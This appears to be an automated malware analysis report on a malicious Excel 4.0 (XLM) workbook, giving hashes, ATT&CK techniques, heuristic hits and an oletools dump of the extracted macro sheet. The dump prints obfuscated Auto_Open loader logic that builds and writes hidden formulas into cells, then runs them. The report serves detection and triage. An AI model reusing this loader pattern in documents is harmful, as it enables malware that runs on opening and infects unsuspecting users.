Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 82e42a0a4ec0168e…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:38:26 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 3e9d52aa5be262a051aafdab3e2a24bd SHA-1: bda9e5e516672e5538c4347f127f33df28c7b7d5 SHA-256: 82e42a0a4ec0168e53ec347c6798b4b5b5c2734973c7baae61dcf81d7de23083
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open function, which is a known method for executing malicious code upon opening the workbook. The presence of dangerous formula APIs like 'RUN' indicates the macro is designed to execute arbitrary commands. While no specific URLs or hashes were extracted, the primary function is to achieve client execution, likely for downloading further malware.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6394 bytes
SHA-256: e5c2396569bed02fcba8b560bd0dda423a877f247b4e784c4243f71f698c84b1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  srbjx
' 0018     23 LABEL : Cell Value, String Constant - aleVoXoT len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I141 
' 0018     21 LABEL : Cell Value, String Constant - bdfgAD len=0 
' 0018     25 LABEL : Cell Value, String Constant - EsuGCzbmaP len=0 
' 0018     20 LABEL : Cell Value, String Constant - GloJk len=0 
' 0018     27 LABEL : Cell Value, String Constant - GxUllkamjTUi len=0 
' 0018     21 LABEL : Cell Value, String Constant - hBnNky len=0 
' 0018     21 LABEL : Cell Value, String Constant - HBxarZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - kSdIHKjZtw len=0 
' 0018     20 LABEL : Cell Value, String Constant - lOvYO len=0 
' 0018     21 LABEL : Cell Value, String Constant - MueFfD len=0 
' 0018     27 LABEL : Cell Value, String Constant - NFUFqxWEPoyq len=0 
' 0018     20 LABEL : Cell Value, String Constant - OPdWu len=0 
' 0018     25 LABEL : Cell Value, String Constant - pVTJHtvTRY len=0 
' 0018     25 LABEL : Cell Value, String Constant - QGkKSwLyit len=0 
' 0018     21 LABEL : Cell Value, String Constant - QIOtoV len=0 
' 0018     23 LABEL : Cell Value, String Constant - TgLBPxio len=0 
' 0018     27 LABEL : Cell Value, String Constant - vDQhpTSneXeS len=0 
' 0018     21 LABEL : Cell Value, String Constant - VLDjPr len=0 
' 0018     27 LABEL : Cell Value, String Constant - VLJFNAbJKYcO len=0 
' 0018     21 LABEL : Cell Value, String Constant - zkwCuZ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  srbjx,I53,"SET.NAME("lOvYO",VALUE("0"))",""
'  srbjx,I58,"SET.NAME("GloJk",lOvYO)",""
'  srbjx,I61,"SET.NAME("hBnNky",lOvYO)",""
'  srbjx,I63,"SET.NAME("bdfgAD",COUNTA(VLJFNAbJKYcO))",""
'  srbjx,I66,"SET.NAME("EsuGCzbmaP",COUNTA(VLDjPr))",""
'  srbjx,I69,[],""
'  srbjx,I72,"SET.NAME("HBxarZ","")",""
'  srbjx,I77,"GloJk",""
'  srbjx,I80,"SET.NAME("kSdIHKjZtw",HLOOKUP("*",VLJFNAbJKYcO,GloJk,FALSE))",""
'  srbjx,I82,"NFUFqxWEPoyq",""
'  srbjx,I85,"SET.NAME("MueFfD",lOvYO)",""
'  srbjx,I87,[],""
'  srbjx,I90,"MueFfD",""
'  srbjx,I93,"QIOtoV",""
'  srbjx,I96,"QGkKSwLyit",""
'  srbjx,I101,"GxUllkamjTUi",""
'  srbjx,I103,"SET.NAME("TgLBPxio",VALUE(HLOOKUP("*",VLDjPr,GxUllkamjTUi,FALSE)))",""
'  srbjx,I107,"zkwCuZ",""
'  srbjx,I112,"HBxarZ",""
'  srbjx,I117,"hBnNky",""
'  srbjx,I122,NEXT(),""
'  srbjx,I126,"vDQhpTSneXeS",""
'  srbjx,I130,"SET.NAME("f",INT(T(FORMULA(T(HBxarZ)&"",""&T(vDQhpTSneXeS)))))",""
'  srbjx,I134,"aleVoXoT",""
'  srbjx,I136,NEXT(),""
'  srbjx,I138,RETURN(),""
'  srbjx,I168,"SET.NAME("OPdWu",I53)",""
'  srbjx,I170,"VLJFNAbJKYcO",""
'  srbjx,I175,"SET.NAME("VLDjPr",R61C12)",""
'  srbjx,I177,"SET.NAME("aleVoXoT",187)",""
'  srbjx,I182,"SET.NAME("pVTJHtvTRY",9)",""
'  srbjx,I186,OPdWu(),""
'  srbjx,I187,HALT(),""